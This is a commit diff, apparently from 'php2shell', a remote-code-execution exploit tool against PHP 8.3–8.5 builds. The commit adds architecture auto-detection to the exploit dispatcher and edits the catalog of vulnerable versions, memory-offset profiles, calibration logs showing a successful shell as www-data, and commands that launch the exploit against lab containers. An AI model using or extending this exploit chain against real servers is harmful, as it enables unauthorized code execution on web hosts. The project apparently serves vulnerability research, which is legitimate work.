Auto-detect architecture and fix 8.5.11 amd64 profile selection

Author: devploit

README.md

@@ -62,7 +62,8 @@ default retries because its stage 3 is probabilistic.
 - **Version-aware dispatch** — fingerprints the target, rejects fixed releases,
   selects the exact build profile and passes offsets, `htdata` and heap
   parameters explicitly. `--php-version` covers servers that hide their version;
-  `--profile` selects a specific build when a version has several (arm64/amd64).
+  `--arch` selects aarch64 or amd64 (auto-detected for local containers), and
+  `--profile` forces an exact build.
 - **Memory-limit probe** — one request reveals the target `memory_limit` from
   the fatal message; the chain then runs once instead of sweeping every value.
 - **Worker pinning** — keeps N-1 prefork workers busy with idle keep-alive
@@ -169,6 +170,17 @@ A profile is per build:
 }
 ```
 
+## Architecture selection
+
+Some versions ship more than one build. PHP 8.5.11 has separate arm64 and amd64
+offsets:
+
+- local container: the dispatcher reads `uname -m` and selects the matching
+  profile automatically;
+- remote target: pass `--arch aarch64|amd64` (or `--profile NAME`). If the
+  version has several builds and no architecture is supplied, the dispatcher
+  refuses instead of guessing.
+
 ## Configuration requirements
 
 The shipped calibration targets:

catalog/vulnerable.json

@@ -99,7 +99,7 @@
   ],
   "profiles": {
     "8.4.26": {
-      "file": "profiles/8.4.26-bookworm-amd64.json",
+      "file": "profiles/8.4.26-bookworm.json",
       "build": "php:8.4.26-apache (Debian bookworm, mod_php, prefork)",
       "rce": true,
       "verified": true
@@ -133,4 +133,4 @@
     }
   },
   "coverage_note": "A version listed in a vulnerable branch is exposed, but it is exploitable only when a verified profile exists for that exact build. Vendor backports cannot be inferred from the version string."
-}
+}

docs/calibration-logs/8.3.35-calibrate.log

@@ -13,5 +13,5 @@ wrote /tmp/p2s-pocs/9bie_php2shell/out/offsets.env
     stage3 0x6e0d8/lab: no proof
     stage3 0x5404a/bookworm: no proof
     stage3 0x5404a/lab: no proof
-[*] wrote profiles/8.3.35-bookworm-aarch64.json
+[*] wrote /Users/dpua/Downloads/php-vuln/profiles/8.3.35-bookworm-aarch64.json
 [*] rce=False chunk=0xffff84600000 libphp=0xffff866f0000

docs/calibration-logs/8.4.26-calibrate.log

@@ -8,5 +8,5 @@ wrote /tmp/p2s-pocs/9bie_php2shell/out/offsets.env
     N=841 len=63 -> cookie=4096 chunk=0x7ffffc400000
 [*] stage2 T=406 -> libphp=0x7ffffe013000
 [+] stage3 0x690d8/bookworm: uid=33(www-data) gid=33(www-data) groups=33(www-data)
-[*] wrote profiles/8.4.26-bookworm-aarch64.json
+[*] wrote /Users/dpua/Downloads/php-vuln/profiles/8.4.26-bookworm-aarch64.json
 [*] rce=True chunk=0x7ffffc400000 libphp=0x7ffffe013000

docs/calibration-logs/matrix_report.json

@@ -3,12 +3,12 @@
     "label": "8.4.25-bookworm-aarch64",
     "status": "leaks-only",
     "rce": false,
-    "profile": "profiles/8.4.25-bookworm-aarch64.json"
+    "profile": "/Users/dpua/Downloads/php-vuln/profiles/8.4.25-bookworm-aarch64.json"
   },
   {
     "label": "8.5.10-bookworm-aarch64",
     "status": "rce",
     "rce": true,
-    "profile": "profiles/8.5.10-bookworm-aarch64.json"
+    "profile": "/Users/dpua/Downloads/php-vuln/profiles/8.5.10-bookworm-aarch64.json"
   }
 ]

docs/rce-guide.md

@@ -181,7 +181,7 @@ docker compose -f docker/docker-compose.yml up -d
 curl -s http://127.0.0.1:8088/index.php          # OK
 
 # 2. Run the launcher (English interface)
-cd /path/to/php2shell
+cd /Users/dpua/Downloads/php-vuln
 python3 tools/php2shell_rce.py \
     -u http://127.0.0.1:8088/index.php \
     -c 'id>/out/p1' \

docs/reproducibility.md

@@ -86,9 +86,9 @@ Typical wall time is 7-15 seconds on a native host once the image is present.
 # 8.5.11 arm64
 python3 tools/php2shell_auto.py -u http://127.0.0.1:8106/index.php --container p2s-lab-8511 --memory-limit-mb 8
 
-# 8.5.11 amd64 (separate offsets; use the amd64 profile explicitly)
+# 8.5.11 amd64 (separate offsets; --arch is auto-detected for local containers)
 python3 tools/php2shell_auto.py -u http://127.0.0.1:<port>/index.php \
-  --profile 8.5.11-bookworm-amd64 --container <amd64-lab> --memory-limit-mb 8
+  --arch amd64 --container <amd64-lab> --memory-limit-mb 8
 
 # 8.4.25 is probabilistic: keep the default retries
 python3 tools/php2shell_auto.py -u http://127.0.0.1:<port>/index.php \

docs/wiz-php2shell.png

@@ -32,6 +32,5 @@
     "libphp_base": null
   },
   "status": "calibration failed: heap/libphp leak not reproduced",
-  "distro": "debian",
   "arch": "aarch64"
-}
+}

profiles/8.3.0-bookworm.json

@@ -20,17 +20,22 @@
     "stage3_pads": null,
     "stage3_carrier": null
   },
+  "requirements": {
+    "display_errors": "On",
+    "memory_limit": "8M",
+    "max_input_vars": 1000,
+    "session_upload_progress": "On",
+    "session_use_cookies": 1,
+    "session_use_strict_mode": 0,
+    "workers": 1
+  },
   "measured": {
-    "chunk_base": "0xffffae200000",
-    "libphp_base": "0xffffb0300000"
+    "chunk_base_example": "0xffffae200000",
+    "libphp_base_example": "0xffffb0300000",
+    "stage3_http_session_vars": "chunk+0x56180",
+    "stage3_ref_buffers": "chunk+0x5d068+n*0xa0"
   },
   "status": "stage 1 (heap leak) and stage 2 (libphp leak) reproduced; stage 3 not calibrated, no RCE",
   "distro": "debian",
-  "arch": "aarch64",
-  "config": {
-    "memory_limit": 8388608,
-    "display_errors": "On",
-    "session_upload_progress": "On",
-    "workers": 1
-  }
-}
+  "arch": "aarch64"
+}